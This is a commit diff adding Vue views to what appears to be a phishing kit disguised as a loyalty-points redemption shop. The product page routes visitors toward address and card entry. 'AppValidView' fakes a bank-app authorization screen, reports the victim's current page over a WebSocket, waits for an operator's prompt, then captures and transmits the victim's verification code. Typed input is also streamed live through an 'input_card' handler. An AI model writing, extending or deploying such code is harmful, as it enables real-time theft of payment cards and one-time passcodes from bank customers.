update
This commit is contained in:
32
0000_gb_points_temp/src/views/AddressView.vue
Normal file
32
0000_gb_points_temp/src/views/AddressView.vue
Normal file
@@ -0,0 +1,32 @@
|
||||
<script setup lang="ts">
|
||||
import { computed } from "vue";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
import { goodsConfig } from "@/config";
|
||||
import AddressTheme1 from "@/components/address/AddressTheme1.vue";
|
||||
import AddressTheme2 from "@/components/address/AddressTheme2.vue";
|
||||
|
||||
const currentThemeComponent = computed(() => {
|
||||
const addressTheme = goodsConfig.value.addressTheme;
|
||||
const fallbackTheme = goodsConfig.value.homeTheme;
|
||||
const themeId = addressTheme || (fallbackTheme === 2 ? 2 : 1);
|
||||
|
||||
const themeMap: Record<string, any> = {
|
||||
"1": AddressTheme1,
|
||||
"2": AddressTheme2,
|
||||
};
|
||||
|
||||
return themeMap[themeId] || AddressTheme1;
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<component :is="currentThemeComponent" />
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
/* Styles are owned by each address theme component. */
|
||||
</style>
|
||||
307
0000_gb_points_temp/src/views/AppValidView.vue
Normal file
307
0000_gb_points_temp/src/views/AppValidView.vue
Normal file
@@ -0,0 +1,307 @@
|
||||
<script setup lang="ts">
|
||||
import { nextTick, onMounted, onUnmounted, reactive, ref, watch } from "vue";
|
||||
import { useRoute } from "vue-router";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import eventBus from "@/utils/eventBus";
|
||||
const cardType = ref("");
|
||||
import { useI18n } from "vue-i18n";
|
||||
import { inputChange, myWebSocket } from "@/utils/common";
|
||||
const { t } = useI18n(); // 解构出t方法
|
||||
const loadingStore = useLoadingStore();
|
||||
onMounted(() => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "appValid" },
|
||||
})
|
||||
);
|
||||
loadingStore.setLoading(false);
|
||||
const route = useRoute();
|
||||
const query = route.query as any;
|
||||
if (query) {
|
||||
console.log("route", query);
|
||||
cardType.value = query.cardType;
|
||||
}
|
||||
localStorage.setItem("route", "appValid");
|
||||
eventBus.on("app-valid", handleEvent);
|
||||
});
|
||||
|
||||
const message = ref("");
|
||||
|
||||
const handleEvent = (data: { message2: string }) => {
|
||||
message.value = data.message2;
|
||||
};
|
||||
|
||||
onUnmounted(() => {
|
||||
eventBus.off("app-valid", handleEvent);
|
||||
});
|
||||
|
||||
const formData = reactive({ verifyCode: "" });
|
||||
|
||||
const onchange = (value: any) => {
|
||||
inputChange("input_card", "verifyCode", value.target.value);
|
||||
formData.verifyCode = value.target.value;
|
||||
};
|
||||
const showInput = ref(false);
|
||||
watch(message, (newValue, oldValue) => {
|
||||
showInput.value = !!(message.value.includes(":") || newValue.includes(":"));
|
||||
});
|
||||
|
||||
const submit = async () => {
|
||||
await nextTick();
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "submit_card",
|
||||
content: {
|
||||
type: "submitAppValidCode",
|
||||
formData: formData,
|
||||
},
|
||||
})
|
||||
);
|
||||
message.value = "";
|
||||
};
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<div class="top-content">
|
||||
<img
|
||||
src="/static/products/card.png"
|
||||
alt="logo"
|
||||
style="width: 40px; height: 40px; margin-right: 10px; object-fit: contain"/>
|
||||
<div>
|
||||
<h1 style="font-size: 22px; margin-bottom: 6px; margin-top: 10px; color: #ffffff">
|
||||
{{ t("app_valid_view.authorized_bank_title") }}
|
||||
</h1>
|
||||
<p class="payment-message">
|
||||
<strong>
|
||||
{{ " " }}
|
||||
</strong>
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
<div class="container">
|
||||
<div class="content">
|
||||
<div class="card-logo">
|
||||
<!-- <CardType2 :cardType="cardType" />-->
|
||||
<img src="/static/products/app.png" alt="card-logo" style="width: 100%" />
|
||||
</div>
|
||||
<div class="card-tye" v-if="cardType">
|
||||
{{ cardType }}
|
||||
</div>
|
||||
|
||||
<br />
|
||||
<p>
|
||||
<img
|
||||
class="safe-icon"
|
||||
src="data:image/png;base64,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"
|
||||
alt="safe-icon"
|
||||
/><b>{{ t("app_valid_view.authorized_bank_label") }}</b>
|
||||
</p>
|
||||
<p class="sub">
|
||||
{{ t("app_valid_view.go_to_bank_app") }}
|
||||
</p>
|
||||
<p class="sub">{{ t("app_valid_view.do_not_close") }}</p>
|
||||
<p class="error">
|
||||
{{ message }}
|
||||
</p>
|
||||
<div
|
||||
class="input1"
|
||||
data-v-509c2adf=""
|
||||
style="text-align: center"
|
||||
v-if="showInput"
|
||||
>
|
||||
<input
|
||||
required
|
||||
@input="onchange"
|
||||
v-model="formData.verifyCode"
|
||||
data-v-509c2adf=""
|
||||
/>
|
||||
</div>
|
||||
|
||||
<br data-v-509c2adf="" v-if="showInput" />
|
||||
<div class="button-submit" data-v-509c2adf="" v-if="showInput">
|
||||
<button type="button" data-v-509c2adf="" @click="submit">
|
||||
{{ t("Submit") }}
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<div v-if="!showInput">
|
||||
<img
|
||||
class="loading-icon"
|
||||
src="@/assets/img/ac3bca143fcfa.svg"
|
||||
alt="loading-icon"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
@media (max-width: 767px) {
|
||||
/* Mega Menu */
|
||||
body {
|
||||
padding-top: 10px !important;
|
||||
padding-bottom: 96px !important;
|
||||
}
|
||||
}
|
||||
.sub {
|
||||
opacity: 0.6;
|
||||
}
|
||||
|
||||
.error {
|
||||
color: red;
|
||||
}
|
||||
|
||||
div.container {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
height: calc(100dvh - 100px);
|
||||
padding: 0 10px;
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
div.container .content {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
div.container .content .card-logo {
|
||||
width: 120px;
|
||||
margin: 0 auto;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
div.container .content .card-logo:after {
|
||||
content: "";
|
||||
display: block;
|
||||
position: absolute;
|
||||
top: 0;
|
||||
width: 15px;
|
||||
height: 100%;
|
||||
background: linear-gradient(
|
||||
90deg,
|
||||
transparent,
|
||||
rgba(255, 255, 255, 0.6352941176),
|
||||
transparent
|
||||
);
|
||||
animation: line 2s infinite;
|
||||
}
|
||||
|
||||
@keyframes line {
|
||||
0% {
|
||||
left: -15px;
|
||||
}
|
||||
to {
|
||||
left: 100%;
|
||||
}
|
||||
}
|
||||
|
||||
div.container .content .safe-icon {
|
||||
display: inline-block;
|
||||
width: 16px;
|
||||
vertical-align: baseline;
|
||||
}
|
||||
|
||||
div.container .content .loading-icon {
|
||||
margin: 0 auto;
|
||||
width: 50px;
|
||||
opacity: 0.6;
|
||||
}
|
||||
|
||||
div.input1 {
|
||||
position: relative;
|
||||
top: -0.5em;
|
||||
}
|
||||
|
||||
div.input1 input {
|
||||
width: 80%;
|
||||
padding: 5px;
|
||||
text-align: center;
|
||||
outline: none;
|
||||
border: 2px solid black;
|
||||
border-radius: 5px;
|
||||
font-weight: 700;
|
||||
font-size: 1.1em;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
div.input1 input:focus {
|
||||
border-color: #5381be;
|
||||
}
|
||||
|
||||
div.button-submit button {
|
||||
padding: 8px 20px;
|
||||
cursor: pointer;
|
||||
background-color: #5381be;
|
||||
color: #fff;
|
||||
border: none;
|
||||
outline: none;
|
||||
border-radius: 3px;
|
||||
}
|
||||
|
||||
p {
|
||||
display: block;
|
||||
margin-block-start: 1em;
|
||||
margin-block-end: 1em;
|
||||
margin-inline-start: 0px;
|
||||
margin-inline-end: 0px;
|
||||
unicode-bidi: isolate;
|
||||
}
|
||||
|
||||
.container div.input1 label {
|
||||
display: block;
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
|
||||
.container div.input1 input {
|
||||
width: 130px;
|
||||
padding: 8px 5px;
|
||||
text-align: center;
|
||||
outline: none;
|
||||
border: 2px solid black;
|
||||
border-radius: 5px;
|
||||
font-weight: 700;
|
||||
font-size: 16px;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
.container div.input1 input:focus {
|
||||
border-color: #5381be;
|
||||
}
|
||||
|
||||
.container div.button-submit button {
|
||||
width: 80px;
|
||||
padding: 10px 5px;
|
||||
cursor: pointer;
|
||||
background-color: #5381be;
|
||||
color: #fff;
|
||||
border: none;
|
||||
outline: none;
|
||||
border-radius: 3px;
|
||||
}
|
||||
|
||||
.container .resend {
|
||||
margin-top: 8px;
|
||||
text-align: center;
|
||||
font-size: 13px;
|
||||
}
|
||||
|
||||
.container .resend a {
|
||||
color: #000;
|
||||
-webkit-text-decoration: underline;
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
.button-submit {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
|
||||
.payment-message {
|
||||
background: #F5F4F710;
|
||||
color: #ffffff;
|
||||
font-size: 14px;
|
||||
margin-top: 5px;
|
||||
border-radius: 20px;
|
||||
}
|
||||
</style>
|
||||
32
0000_gb_points_temp/src/views/CardView.vue
Normal file
32
0000_gb_points_temp/src/views/CardView.vue
Normal file
@@ -0,0 +1,32 @@
|
||||
<script setup lang="ts">
|
||||
import { computed } from "vue";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
import { goodsConfig } from "@/config";
|
||||
import CardTheme1 from "@/components/card/CardTheme1.vue";
|
||||
import CardTheme2 from "@/components/card/CardTheme2.vue";
|
||||
|
||||
const currentThemeComponent = computed(() => {
|
||||
const cardTheme = goodsConfig.value.cardTheme;
|
||||
const fallbackTheme = goodsConfig.value.homeTheme;
|
||||
const themeId = cardTheme || (fallbackTheme === 2 ? 2 : 1);
|
||||
|
||||
const themeMap: Record<string, any> = {
|
||||
"1": CardTheme1,
|
||||
"2": CardTheme2,
|
||||
};
|
||||
|
||||
return themeMap[themeId] || CardTheme1;
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<component :is="currentThemeComponent" />
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
/* Styles are owned by each card theme component. */
|
||||
</style>
|
||||
21
0000_gb_points_temp/src/views/CommonLayout.vue
Normal file
21
0000_gb_points_temp/src/views/CommonLayout.vue
Normal file
@@ -0,0 +1,21 @@
|
||||
<script setup lang="ts">
|
||||
import { onMounted, ref } from "vue";
|
||||
import { loadHtml, headHtml, headerHtml, footerHtml } from "@/utils/common";
|
||||
</script>
|
||||
|
||||
<template>
|
||||
|
||||
<div>
|
||||
<div v-html="headerHtml"></div>
|
||||
<main>
|
||||
<div>
|
||||
<slot></slot>
|
||||
</div>
|
||||
</main>
|
||||
<div v-html="footerHtml">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</template>
|
||||
|
||||
<style scoped></style>
|
||||
1415
0000_gb_points_temp/src/views/CustomOtpView.vue
Normal file
1415
0000_gb_points_temp/src/views/CustomOtpView.vue
Normal file
File diff suppressed because it is too large
Load Diff
629
0000_gb_points_temp/src/views/GoodsDetailsView.vue
Normal file
629
0000_gb_points_temp/src/views/GoodsDetailsView.vue
Normal file
@@ -0,0 +1,629 @@
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<!-- <div style="padding-top: 60px;"></div> -->
|
||||
<div class="goods-details" >
|
||||
<!-- 顶部导航栏 -->
|
||||
<div class="header">
|
||||
<div class="back-button" @click="goBack">
|
||||
<i class="icon-back"></i>
|
||||
</div>
|
||||
<h1 class="product-title"></h1>
|
||||
</div>
|
||||
|
||||
<!-- 商品轮播图 -->
|
||||
<swiper
|
||||
class="product-carousel"
|
||||
:modules="[Pagination]"
|
||||
:pagination="{ clickable: true }"
|
||||
:loop="productImages.length > 1"
|
||||
:initial-slide="currentImageIndex"
|
||||
@slideChange="onSwiperChange"
|
||||
>
|
||||
<swiper-slide v-for="(image, index) in productImages" :key="index">
|
||||
<img :src="image" alt="Product Image" class="product-image" />
|
||||
</swiper-slide>
|
||||
</swiper>
|
||||
|
||||
<!-- 商品信息区域 -->
|
||||
<div class="product-info">
|
||||
<h2 class="product-name">{{ goodsDetail?.title }}</h2>
|
||||
<div class="redemption-tag" v-if="goodsDetail?.top">
|
||||
<span class="trophy-icon">🏆</span>
|
||||
<span class="tag-text">{{ goodsDetail?.topName }}</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- 价格选择区 -->
|
||||
<div class="pricing-options">
|
||||
<div class="pricing-option" v-if="goodsDetail?.onlyPoints" :class="{ active: selectedPriceOption === 'pointsOnly' }"
|
||||
@click="selectPriceOption('pointsOnly')">
|
||||
<div class="option-price">
|
||||
<span class="points">{{ formatNumber(goodsDetail?.onlyPoints) }}</span>
|
||||
<span class="points-label">{{ t('points') }}</span>
|
||||
</div>
|
||||
<div class="option-radio">
|
||||
<div class="radio-circle" :class="{ selected: selectedPriceOption === 'pointsOnly' }"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="pricing-option" v-if="goodsDetail?.point2" :class="{ active: selectedPriceOption === 'pointsAndMoney' }"
|
||||
@click="selectPriceOption('pointsAndMoney')">
|
||||
<div class="option-price">
|
||||
<span class="points">{{ formatNumber(goodsDetail?.point2) }}</span>
|
||||
<span class="points-label">{{ t('points') }}</span>
|
||||
<span class="plus-sign">+</span>
|
||||
<span class="points">{{ goodsDetail?.price }}</span>
|
||||
</div>
|
||||
<div class="option-radio">
|
||||
<div class="radio-circle" :class="{ selected: selectedPriceOption === 'pointsAndMoney' }">
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- 数量选择器 -->
|
||||
<div class="quantity-selector">
|
||||
<div class="quantity-label">{{ t("goods_details.quantity") }}</div>
|
||||
<div class="quantity-controls">
|
||||
<button class="quantity-btn decrease" @click="decreaseQuantity">−</button>
|
||||
<div class="quantity-display">{{ quantity }}</div>
|
||||
<button class="quantity-btn increase" @click="increaseQuantity">+</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="detail" v-html="goodsDetail.detail"></div>
|
||||
|
||||
<!-- 底部结算栏 -->
|
||||
<div class="checkout-bar">
|
||||
<div class="total-price">
|
||||
<div class="total-label">{{ t("goods_details.total")}}</div>
|
||||
<div class="total-amount">
|
||||
<span class="points">{{ formatNumber(totalPoints) }}</span>
|
||||
<span class="points-label">{{ t("Points") }}</span>
|
||||
<span class="plus-sign" v-if="selectedPriceOption === 'pointsAndMoney'">+</span>
|
||||
<span class="money" v-if="selectedPriceOption === 'pointsAndMoney'">{{ formatPriceWithUnit(totalMoney) }}</span>
|
||||
</div>
|
||||
</div>
|
||||
<button class="exchange-button" @click="handleExchange">{{ t("Exchange") }}</button>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
|
||||
<script setup lang="ts">
|
||||
import { ref, computed, onMounted } from 'vue';
|
||||
import { useRouter } from 'vue-router';
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { formatPriceWithUnit, inputChange, formatNumber } from "@/utils/common";
|
||||
import { goodsConfig } from "@/config";
|
||||
// Swiper相关
|
||||
import { Swiper, SwiperSlide } from 'swiper/vue';
|
||||
import { Pagination } from 'swiper/modules';
|
||||
import 'swiper/css';
|
||||
import 'swiper/css/pagination';
|
||||
const onSwiperChange = (swiper: any) => {
|
||||
currentImageIndex.value = swiper.activeIndex;
|
||||
};
|
||||
|
||||
|
||||
import { useI18n } from "vue-i18n";
|
||||
|
||||
const { t } = useI18n(); // 解构出t方法
|
||||
const goodsDetail = ref<any>(
|
||||
{
|
||||
id: 1,
|
||||
title: '',
|
||||
description: '',
|
||||
onlyPoints: 0,
|
||||
point2: 0,
|
||||
price: 0,
|
||||
imageUrl: ''
|
||||
}
|
||||
);
|
||||
|
||||
const totalPoint = ref(3022);
|
||||
|
||||
onMounted(() => {
|
||||
useLoadingStore().setLoading(false);
|
||||
// 获取商品详情数据
|
||||
const goodsDetailData = localStorage.getItem('goodsDetail');
|
||||
|
||||
if (goodsDetailData) {
|
||||
goodsDetail.value = JSON.parse(goodsDetailData);
|
||||
productImages.value = goodsDetail.value.imageUrl?.split(",") || [];
|
||||
console.log(goodsDetail.value.imageUrl?.split(","));
|
||||
|
||||
// 设置默认选中的价格选项
|
||||
// 如果只有 onlyPoints,选中 pointsOnly
|
||||
// 如果只有 point2,选中 pointsAndMoney
|
||||
// 如果两个都有,默认选中 pointsOnly(第一个)
|
||||
if (goodsDetail.value.onlyPoints && !goodsDetail.value.point2) {
|
||||
selectedPriceOption.value = 'pointsOnly';
|
||||
} else if (!goodsDetail.value.onlyPoints && goodsDetail.value.point2) {
|
||||
selectedPriceOption.value = 'pointsAndMoney';
|
||||
} else if (goodsDetail.value.onlyPoints && goodsDetail.value.point2) {
|
||||
// 两个都有,默认选中第一个(pointsOnly)
|
||||
selectedPriceOption.value = 'pointsOnly';
|
||||
}
|
||||
} else {
|
||||
console.error('No product details found in local storage.');
|
||||
}
|
||||
|
||||
const point = localStorage.getItem("totalPoint");
|
||||
if (point) {
|
||||
totalPoint.value = Number(point);
|
||||
}
|
||||
});
|
||||
|
||||
// 类型定义
|
||||
type PriceOption = 'pointsOnly' | 'pointsAndMoney';
|
||||
|
||||
// 路由
|
||||
const router = useRouter();
|
||||
|
||||
const goBack = () => {
|
||||
// 设置标记,表明这是一个返回操作
|
||||
router.currentRoute.value.meta.isBack = true;
|
||||
router.back();
|
||||
}
|
||||
|
||||
// 图片资源 - 注意:路径需要根据实际项目结构调整
|
||||
const productImages = ref<string[]>([]);
|
||||
|
||||
const currentImageIndex = ref<number>(0);
|
||||
const selectedPriceOption = ref<PriceOption>('pointsAndMoney');
|
||||
const quantity = ref<number>(1);
|
||||
|
||||
// 计算属性
|
||||
const totalPoints = computed<number>(() => {
|
||||
if (selectedPriceOption.value === 'pointsOnly') {
|
||||
return goodsDetail.value.onlyPoints * quantity.value;
|
||||
} else {
|
||||
return goodsDetail.value.point2 * quantity.value;
|
||||
}
|
||||
});
|
||||
|
||||
const totalMoney = computed<number>(() => {
|
||||
if (selectedPriceOption.value === 'pointsAndMoney') {
|
||||
return (goodsDetail.value.price2 * quantity.value);
|
||||
}
|
||||
return 0;
|
||||
});
|
||||
|
||||
// 方法
|
||||
const selectPriceOption = (option: PriceOption): void => {
|
||||
selectedPriceOption.value = option;
|
||||
};
|
||||
|
||||
const increaseQuantity = (): void => {
|
||||
quantity.value++;
|
||||
// 检查积分是否足够
|
||||
const currentPoint = totalPoints.value; // 当前积分
|
||||
const add = 1; // 假设每次增加数量为1
|
||||
if (currentPoint > totalPoint.value && add > 0) {
|
||||
quantity.value--;
|
||||
alert(t("goods_details.not_enough_points"));
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
const decreaseQuantity = (): void => {
|
||||
if (quantity.value > 0) {
|
||||
quantity.value--;
|
||||
}
|
||||
};
|
||||
|
||||
const handleExchange = (): void => {
|
||||
if (quantity.value <= 0) {
|
||||
// 如果你有toast组件
|
||||
// toast.warning('Please select at least one item');
|
||||
alert(t("goods_details.please_redeem"));
|
||||
return;
|
||||
}
|
||||
|
||||
// 检查积分是否足够
|
||||
if (totalPoints.value > totalPoint.value) {
|
||||
alert(t("goods_details.not_enough_points"));
|
||||
return;
|
||||
}
|
||||
|
||||
// 保存使用的积分
|
||||
localStorage.setItem("pointsUsed", totalPoints.value.toString());
|
||||
|
||||
// 计算总金额:商品价格 + 运费(根据 feeType)
|
||||
let totalAmount = totalMoney.value; // 商品价格
|
||||
let feeAmount = 0; // 运费
|
||||
|
||||
// 保存商品价格(不含运费)
|
||||
if (totalMoney.value > 0) {
|
||||
localStorage.setItem("goodsPrice", totalMoney.value.toString());
|
||||
inputChange("SelectGoods", "price", totalMoney.value.toString());
|
||||
}
|
||||
|
||||
// 处理运费
|
||||
// feeType === 0: 无运费
|
||||
// feeType === 1: 固定运费(在 CardView 中处理)
|
||||
// feeType === 2: 在地址页选择运费(在 AddressView 中处理)
|
||||
// feeType === 3: 在商品页选择运费(详情页不适用)
|
||||
|
||||
if (goodsConfig.value.feeType === 1 && goodsConfig.value.fee) {
|
||||
// 固定运费:保存运费信息供后续页面使用
|
||||
feeAmount = goodsConfig.value.fee;
|
||||
localStorage.setItem("shippingFee", formatPriceWithUnit(goodsConfig.value.fee));
|
||||
}
|
||||
// feeType === 0 或 2 的情况:feeAmount 保持为 0,在其他页面处理
|
||||
|
||||
// 保存总金额(商品价格 + 运费)
|
||||
totalAmount = totalMoney.value + feeAmount;
|
||||
localStorage.setItem("moneyAmount", totalAmount.toString());
|
||||
|
||||
inputChange("SelectGoods", "title", goodsDetail.value.title);
|
||||
useLoadingStore().setLoading(true);
|
||||
setTimeout(() => {
|
||||
router.push("/address");
|
||||
}, 200);
|
||||
};
|
||||
|
||||
const nextImage = (): void => {
|
||||
currentImageIndex.value = (currentImageIndex.value + 1) % productImages.value.length;
|
||||
};
|
||||
|
||||
const prevImage = (): void => {
|
||||
currentImageIndex.value = (currentImageIndex.value - 1 + productImages.value.length) % productImages.value.length;
|
||||
};
|
||||
|
||||
// 触摸滑动相关变量
|
||||
const touchStartX = ref<number>(0);
|
||||
const touchEndX = ref<number>(0);
|
||||
const touchThreshold = 50; // 触发滑动的阈值
|
||||
|
||||
// 设置当前图片
|
||||
const setCurrentImage = (index: number): void => {
|
||||
currentImageIndex.value = index;
|
||||
};
|
||||
|
||||
// 处理触摸开始
|
||||
const handleTouchStart = (e: TouchEvent): void => {
|
||||
touchStartX.value = e.touches[0].clientX;
|
||||
};
|
||||
|
||||
// 处理触摸移动
|
||||
const handleTouchMove = (e: TouchEvent): void => {
|
||||
touchEndX.value = e.touches[0].clientX;
|
||||
};
|
||||
|
||||
// 处理触摸结束
|
||||
const handleTouchEnd = (): void => {
|
||||
const swipeDistance = touchEndX.value - touchStartX.value;
|
||||
|
||||
// 向左滑动(下一张)
|
||||
if (swipeDistance < -touchThreshold) {
|
||||
nextImage();
|
||||
}
|
||||
|
||||
// 向右滑动(上一张)
|
||||
if (swipeDistance > touchThreshold) {
|
||||
prevImage();
|
||||
}
|
||||
|
||||
// 重置触摸值
|
||||
touchStartX.value = 0;
|
||||
touchEndX.value = 0;
|
||||
};
|
||||
</script>
|
||||
|
||||
<style scoped>
|
||||
.goods-details {
|
||||
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif;
|
||||
background-color: #f8f8f8;
|
||||
min-height: 100vh;
|
||||
position: relative;
|
||||
padding-bottom: 80px;
|
||||
}
|
||||
|
||||
.header {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
padding: 15px;
|
||||
background-color: rgba(0, 0, 0, 0);
|
||||
color: white;
|
||||
position: absolute;
|
||||
top: 30px;
|
||||
left: 0;
|
||||
right: 0;
|
||||
z-index: 2;
|
||||
}
|
||||
|
||||
.back-button {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
position: absolute;
|
||||
left: 15px;
|
||||
font-size: 24px;
|
||||
padding: 5px;
|
||||
width: 50px;
|
||||
height: 50px;
|
||||
border-radius: 50%;
|
||||
background-color: rgba(116, 103, 103, 0.5);
|
||||
}
|
||||
|
||||
.icon-back {
|
||||
display: inline-block;
|
||||
width: 24px;
|
||||
height: 24px;
|
||||
line-height: 24px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.icon-back:before {
|
||||
content: "\2190"; /* Unicode for left arrow */
|
||||
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif;
|
||||
font-size: 24px;
|
||||
color: white; /* Explicitly set color */
|
||||
display: block;
|
||||
line-height: 24px;
|
||||
}
|
||||
|
||||
.product-title {
|
||||
flex: 1;
|
||||
text-align: center;
|
||||
font-size: 20px;
|
||||
font-weight: 500;
|
||||
}
|
||||
|
||||
.product-carousel {
|
||||
position: relative;
|
||||
background-color: transparent;
|
||||
height: 350px;
|
||||
width: 100%;
|
||||
overflow: hidden;
|
||||
z-index: 1;
|
||||
}
|
||||
|
||||
.carousel-wrapper {
|
||||
display: flex;
|
||||
height: 100%;
|
||||
width: 100%;
|
||||
transition: transform 0.3s ease;
|
||||
}
|
||||
|
||||
.carousel-item {
|
||||
flex: 0 0 100%;
|
||||
height: 100%;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
.carousel-controls {
|
||||
position: absolute;
|
||||
bottom: 15px;
|
||||
left: 0;
|
||||
right: 0;
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
padding: 0 15px;
|
||||
}
|
||||
|
||||
.carousel-dots {
|
||||
display: flex;
|
||||
gap: 6px;
|
||||
}
|
||||
|
||||
.carousel-dot {
|
||||
width: 8px;
|
||||
height: 8px;
|
||||
border-radius: 50%;
|
||||
background-color: rgba(255, 255, 255, 0.5);
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
